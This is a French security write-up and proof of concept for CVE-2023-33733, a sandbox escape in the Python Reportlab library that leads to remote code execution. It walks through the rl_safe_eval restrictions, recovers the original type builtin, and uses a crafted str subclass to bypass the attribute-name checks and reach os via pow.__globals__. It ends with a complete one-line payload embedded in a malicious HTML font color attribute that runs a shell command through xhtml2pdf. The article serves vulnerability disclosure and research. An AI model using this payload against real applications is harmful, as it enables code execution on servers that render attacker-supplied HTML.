
Analyse technique détaillée et exploit proof-of-concept pour CVE-2023-33733, une vulnérabilité d'exécution de code à distance dans la bibliothèque Python Reportlab via un contournement du sandbox dans le traitement HTML vers PDF.
en résumé Cet article détaille comment une RCE dans Reportlab a été trouvée et exploitée. En raison de la prévalence de Reportlab dans le traitement HTML vers PDF, cette vulnérabilité peut être accessible dans de nombreuses applications qui traitent des fichiers PDF, ce qui en fait une vulnérabilité importante à corriger et à surveiller.
Il y a quelques jours, lors d’un audit d’application web, nous avons remarqué que l’application utilisait la bibliothèque Python Reportlab pour générer dynamiquement des fichiers PDF à partir d’une entrée HTML. Reportlab s’est avéré présenter une vulnérabilité précédemment corrigée menant à une exécution de code. Cela signifie que trouver un contournement du correctif était assez intéressant du point de vue de l’attaquant, car cela conduirait à la redécouverte de l’exécution de code, d’autant plus que la bibliothèque Reportlab est également utilisée dans d’autres applications et outils.
Tout d’abord, un bref rappel : Reportlab est un projet Open Source qui permet la création de documents au format PDF (Portable Document Format) d’Adobe en utilisant le langage de programmation Python. Il crée également des graphiques et des données graphiques dans divers formats bitmap et vectoriels ainsi que des PDF.
La bibliothèque a connu en 2019 une exploitation similaire menant à une exécution de code à distance via l’attribut Color des balises HTML ; le contenu de l’attribut était directement évalué comme une expression Python à l’aide de la fonction , conduisant ainsi à une exécution de code. Pour atténuer le problème, Reportlab a implémenté un bac à sable appelé qui est dépouillé de toutes les fonctions intégrées Python et possède de multiples fonctions intégrées surchargées pour permettre l’exécution du code sécurisé de la bibliothèque tout en empêchant tout accès aux fonctions et bibliothèques dangereuses qui pourraient ensuite conduire à la construction de code Python dangereux :
evalrl_safe_evalUn exemple de ces mesures de prévention est que la fonction intégrée getattr est remplacée par une fonction restreinte __rl_getitem__ qui interdit l’accès à tout attribut dangereux des objets, comme ceux commençant par __ :
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# DANS CETTE LIGNE, ON PEUT OBSERVER QUE LE GETATR INTÉGRÉ EST REMPLACÉ PAR UNE FONCTION PERSONNALISÉE
# QUI VÉRIFIE LA SÉCURITÉ DU NOM DE L’ATTRIBUT AVANT DE LE RÉCUPÉRER
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# DE NOMBREUSES VÉRIFICATIONS SONT EFFECTUÉES AVANT DE RÉCUPÉRER L’ATTRIBUT ET DE LE RETOURNER
# À L’APPELANT DANS L’ENVIRONNEMENT EVAL SANDBOXÉ
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Vérifie si les noms sont autorisés.
Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
sont également autorisés même s’ils commencent par `_`.
"""
if isinstance(name,strTypes):
# PAS D’ACCÈS AUX ATTRIBUTS COMMENÇANT PAR __ OU CORRESPONDANT À DES NOMS D'ATTRIBUTS NON SÛRS PRÉDÉFINIS
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('accès non sécurisé à %s' % name)
Le eval sécurisé, comme décrit précédemment, nettoie l’environnement de toutes les fonctions dangereuses afin que l’exécution de code n’ait accès à aucun outil dangereux pouvant être utilisé pour exécuter des actions malveillantes. Cependant, si un contournement de ces restrictions est trouvé et qu’un accès à l’une des fonctions intégrées d’origine est obtenu, cela faciliterait grandement l’exploitation de l’environnement sandboxé.
L’une des nombreuses classes intégrées surchargées s’appelle type. Si cette classe est appelée avec un argument, elle retourne le type d’un objet. Cependant, si elle est appelée avec trois arguments, elle retourne un nouvel objet type. C’est essentiellement une forme dynamique de l’instruction class. En d’autres termes, cela peut permettre la création d’une nouvelle classe qui hérite d’une autre classe.
L’idée ici est donc de créer une nouvelle classe appelée Word qui hérite de str de sorte que lorsqu’elle est passée au getattr personnalisé, elle contourne les vérifications et permet l’accès à des attributs sensibles comme __code__.
Avant que le getattr personnalisé dans l’eval sandboxé ne retourne l’attribut, il effectue quelques vérifications en appelant __rl_is_allowed_name__ pour vérifier la sécurité de l’attribut appelé avant d’appeler le getattr intégré de Python et de retourner le résultat.
def __rl_is_allowed_name__(self, name):
"""Vérifie si les noms sont autorisés.
Si ``allow_magic_methods est True``, les noms dans `__allowed_magic_methods__`
sont également autorisés même s’ils commencent par `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('accès non sécurisé à %s' % name)
Pour contourner la fonction __rl_is_allowed_name__, la classe Word doit :
False pour les appels à la fonction startswith afin de contourner (name.startswith('__')False à son premier appel à __eq__ pour contourner name in __rl_unsafe__, après le premier appel, elle doit retourner la réponse correcte car lorsque __eq__ est appelé par le getattr intégré de Python, il doit retourner le résultat correct.La classe suivante remplit ces critères :
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## affiche False
print(code == '__code__') ## affiche True
print(code == '__code__') ## affiche True
print(code == '__code__') ## affiche True
print(code.startswith('__')) ## affiche False
La fonction type personnalisée dans le eval sécurisé ne permet pas de lui passer trois arguments :
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('erreur d’appel type')
Un contournement a été trouvé en appelant type sur lui-même, permettant ainsi de récupérer la fonction type intégrée d’origine :
orgTypeFun = type(type(1))
La combinaison de ces deux lignes de code donnerait quelque chose comme ceci :
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
L’exploit original souffrait de plusieurs limitations qui le rendaient exploitable uniquement sur Python 3.10 ; pour résoudre ces problèmes, une nouvelle approche a été adoptée pour accéder au module os de Python.
La bibliothèque Reportlab remplace l’implémentation de plusieurs fonctions intégrées et les injecte comme globals dans le contexte eval.
Exemple de fonctions intégrées par défaut remplacées par des fonctions personnalisées dans rl_safe_eval.py :
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Comme ces fonctions sont construites dans le contexte global, les variables globales et les modules peuvent être accessibles en utilisant l’attribut __globals__ de ces fonctions personnalisées.
Le code suivant doit être exécuté dans le contexte eval
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Il ne reste plus qu’à écrire l’exploit :
Pour ce faire, une fonction sera reconstruite à partir du bytecode d’une fonction compilée :
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
Cependant, une expression multi-lignes comme celle-ci ne sera pas exécutée dans un contexte eval. Pour contourner ce problème, on peut utiliser l’astuce de la list comprehension, quelque chose comme ceci :
[print(x) for x in ['hellworld']]
# qui serait équivalent à
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# qui serait équivalent à
x='first var'
x='second var'
print (x + ' ' + y)
Avec cette technique, le code de l’exploit peut être réécrit en une seule ligne de code comme ceci (ceci est considéré comme une seule ligne x) le multi-ligne ici n’est qu’une mise en forme pour améliorer la lisibilité de l’exploit. Les déclarations doivent être lues de bas en haut x) bizarre mais c’est comme ça que ça marche) :
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Veuillez vous référer au fichier poc.py qui contient une preuve de concept démontrant l’exécution de code (en cas d’exploitation réussie, un fichier appelé exploited est créé dans /tmp/).
De nombreuses applications et bibliothèques utilisent la bibliothèque Reportlab, par exemple la fonction utilitaire xhtml2pdf est vulnérable et peut souffrir d’une exécution de code lors de la transformation d’un code HTML malveillant en PDF
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Je tiens à remercier Matthias Weckbecker pour sa collaboration et les échanges enrichissants sur les limitations de l’exploit original. Maintenant, l’exploit fonctionne parfaitement sur toutes les versions de Python 3 :D